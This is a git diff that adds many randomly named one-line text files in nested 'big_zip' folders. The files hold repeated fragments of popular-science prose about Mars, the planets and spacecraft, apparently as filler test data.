diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/xviqrkeqfwoud.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/xviqrkeqfwoud.txt
new file mode 100644
index 0000000..c918b10
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/xviqrkeqfwoud.txt
@@ -0,0 +1 @@
+early Church with paganism. In great personal danger, she continued to teach and publish,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/file_acpxgylgxsrbhuxglz.txt b/big_zip/big-zip-files/folder_lwggmaaooc/file_acpxgylgxsrbhuxglz.txt
new file mode 100644
index 0000000..84bafdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/file_acpxgylgxsrbhuxglz.txt
@@ -0,0 +1 @@
+because the planet is then near the Sun. When the planet is far from the Sun, it covers a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/file_cpivvyglkhq.txt b/big_zip/big-zip-files/folder_lwggmaaooc/file_cpivvyglkhq.txt
new file mode 100644
index 0000000..84bafdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/file_cpivvyglkhq.txt
@@ -0,0 +1 @@
+because the planet is then near the Sun. When the planet is far from the Sun, it covers a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/file_eicucwwhdcsvd.txt b/big_zip/big-zip-files/folder_lwggmaaooc/file_eicucwwhdcsvd.txt
new file mode 100644
index 0000000..84bafdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/file_eicucwwhdcsvd.txt
@@ -0,0 +1 @@
+because the planet is then near the Sun. When the planet is far from the Sun, it covers a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/file_fqnbcgvnofwjiifyxmkig.txt b/big_zip/big-zip-files/folder_lwggmaaooc/file_fqnbcgvnofwjiifyxmkig.txt
new file mode 100644
index 0000000..84bafdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/file_fqnbcgvnofwjiifyxmkig.txt
@@ -0,0 +1 @@
+because the planet is then near the Sun. When the planet is far from the Sun, it covers a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/file_ipccptzln.txt b/big_zip/big-zip-files/folder_lwggmaaooc/file_ipccptzln.txt
new file mode 100644
index 0000000..84bafdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/file_ipccptzln.txt
@@ -0,0 +1 @@
+because the planet is then near the Sun. When the planet is far from the Sun, it covers a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/file_jlkbkjyxoeok.txt b/big_zip/big-zip-files/folder_lwggmaaooc/file_jlkbkjyxoeok.txt
new file mode 100644
index 0000000..84bafdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/file_jlkbkjyxoeok.txt
@@ -0,0 +1 @@
+because the planet is then near the Sun. When the planet is far from the Sun, it covers a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/file_kaexcvqflmdzsjzzzott.txt b/big_zip/big-zip-files/folder_lwggmaaooc/file_kaexcvqflmdzsjzzzott.txt
new file mode 100644
index 0000000..84bafdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/file_kaexcvqflmdzsjzzzott.txt
@@ -0,0 +1 @@
+because the planet is then near the Sun. When the planet is far from the Sun, it covers a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/file_mwkwgioq.txt b/big_zip/big-zip-files/folder_lwggmaaooc/file_mwkwgioq.txt
new file mode 100644
index 0000000..84bafdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/file_mwkwgioq.txt
@@ -0,0 +1 @@
+because the planet is then near the Sun. When the planet is far from the Sun, it covers a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/file_slxfjtznajqoxikwzabwyl.txt b/big_zip/big-zip-files/folder_lwggmaaooc/file_slxfjtznajqoxikwzabwyl.txt
new file mode 100644
index 0000000..84bafdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/file_slxfjtznajqoxikwzabwyl.txt
@@ -0,0 +1 @@
+because the planet is then near the Sun. When the planet is far from the Sun, it covers a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/file_srfxxjzldendzbmtesa.txt b/big_zip/big-zip-files/folder_lwggmaaooc/file_srfxxjzldendzbmtesa.txt
new file mode 100644
index 0000000..84bafdd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/file_srfxxjzldendzbmtesa.txt
@@ -0,0 +1 @@
+because the planet is then near the Sun. When the planet is far from the Sun, it covers a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_celccvbehtoxu.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_celccvbehtoxu.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_celccvbehtoxu.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_crzcidajpde.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_crzcidajpde.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_crzcidajpde.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ebyfecqmhegwrv.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ebyfecqmhegwrv.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ebyfecqmhegwrv.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_foncawijsesqgesuyso.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_foncawijsesqgesuyso.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_foncawijsesqgesuyso.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_grxofuunmrcv.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_grxofuunmrcv.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_grxofuunmrcv.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_inifronsghukewbrixd.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_inifronsghukewbrixd.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_inifronsghukewbrixd.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_kgargeywourjtuzxjjxyllu.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_kgargeywourjtuzxjjxyllu.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_kgargeywourjtuzxjjxyllu.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_lbkwexgomjgawb.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_lbkwexgomjgawb.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_lbkwexgomjgawb.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nfsrqrgimrrryqvxfhvqaj.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nfsrqrgimrrryqvxfhvqaj.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nfsrqrgimrrryqvxfhvqaj.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nmmulovofmzfkarqye.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nmmulovofmzfkarqye.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nmmulovofmzfkarqye.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nvfhurmcoffvachkxsecydm.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nvfhurmcoffvachkxsecydm.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nvfhurmcoffvachkxsecydm.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nvzowjnymnbdojm.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nvzowjnymnbdojm.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_nvzowjnymnbdojm.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_onacggboyuozb.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_onacggboyuozb.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_onacggboyuozb.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_srgstlicw.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_srgstlicw.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_srgstlicw.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ubdspzajyggfzbqknejvlde.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ubdspzajyggfzbqknejvlde.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ubdspzajyggfzbqknejvlde.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_uctkmrftbyxnaeqadodv.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_uctkmrftbyxnaeqadodv.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_uctkmrftbyxnaeqadodv.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_udjhalxswdsei.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_udjhalxswdsei.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_udjhalxswdsei.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_vmkxqupnlsttdybke.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_vmkxqupnlsttdybke.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_vmkxqupnlsttdybke.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_vuyuhwjaf.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_vuyuhwjaf.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_vuyuhwjaf.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_waksiptnskfsquxwrhdesuo.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_waksiptnskfsquxwrhdesuo.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_waksiptnskfsquxwrhdesuo.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_wnsgbvpwhqkjzkiyhkibf.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_wnsgbvpwhqkjzkiyhkibf.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_wnsgbvpwhqkjzkiyhkibf.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ygppwvvvodvfmvsfyualvin.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ygppwvvvodvfmvsfyualvin.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ygppwvvvodvfmvsfyualvin.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ytnytkaubolek.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ytnytkaubolek.txt
new file mode 100644
index 0000000..30f4eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/file_ytnytkaubolek.txt
@@ -0,0 +1 @@
+Mars is all explored; a time after robot aircraft have mapped it from aloft, a time after
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_bunqmkgovqbcxy.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_bunqmkgovqbcxy.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_bunqmkgovqbcxy.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_crwzvddarijautfleg.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_crwzvddarijautfleg.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_crwzvddarijautfleg.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ecclggzkbdwyv.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ecclggzkbdwyv.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ecclggzkbdwyv.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_effwkjndt.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_effwkjndt.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_effwkjndt.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ffndmvqbmqfcxporckdpp.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ffndmvqbmqfcxporckdpp.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ffndmvqbmqfcxporckdpp.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_fqmrhvlra.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_fqmrhvlra.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_fqmrhvlra.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_gotdexkdetxyac.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_gotdexkdetxyac.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_gotdexkdetxyac.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ifsdweijuyx.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ifsdweijuyx.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ifsdweijuyx.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_izrsbjrfbgjojodzbnz.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_izrsbjrfbgjojodzbnz.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_izrsbjrfbgjojodzbnz.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_krmcfhasq.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_krmcfhasq.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_krmcfhasq.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_kwuoxflcfastowhcljbixopk.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_kwuoxflcfastowhcljbixopk.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_kwuoxflcfastowhcljbixopk.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_lbtxongdshbpzjusdf.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_lbtxongdshbpzjusdf.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_lbtxongdshbpzjusdf.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ligkhgzlyxnacfccziy.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ligkhgzlyxnacfccziy.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ligkhgzlyxnacfccziy.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_lylyfxpqpkxbvlpjajpcqsav.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_lylyfxpqpkxbvlpjajpcqsav.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_lylyfxpqpkxbvlpjajpcqsav.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_npoywhcekkoxdynvmhnzq.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_npoywhcekkoxdynvmhnzq.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_npoywhcekkoxdynvmhnzq.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ozcmvqmdojzkiabfd.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ozcmvqmdojzkiabfd.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_ozcmvqmdojzkiabfd.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_qxddiahbq.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_qxddiahbq.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_qxddiahbq.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_waobotiqtcriirz.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_waobotiqtcriirz.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_waobotiqtcriirz.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_zmbkphtwndsf.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_zmbkphtwndsf.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_zmbkphtwndsf.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_znuhkivzukbkdffjvqbc.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_znuhkivzukbkdffjvqbc.txt
new file mode 100644
index 0000000..10203bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/file_znuhkivzukbkdffjvqbc.txt
@@ -0,0 +1 @@
+flapped, shimmied, climbed and soared. Colossal beasts thundered through the steaming
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/amtjyodekk.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/amtjyodekk.txt
new file mode 100644
index 0000000..3e99ef2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/amtjyodekk.txt
@@ -0,0 +1 @@
+spacecraft hurtles past. There are many scientific instruments - ultraviolet and infraredspectrometers, devices to measure charged particles and magnetic fields and the radio
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/beizgztsdojgcgbdpf.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/beizgztsdojgcgbdpf.txt
new file mode 100644
index 0000000..be31fbf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/beizgztsdojgcgbdpf.txt
@@ -0,0 +1 @@
+professional astronomers to be at least slightly disreputable, tainted with Lowellian excesses. I am grateful to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/cmojhqnxuublstcgmhdoaiqt.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/cmojhqnxuublstcgmhdoaiqt.txt
new file mode 100644
index 0000000..9189d6e
--- /dev/null
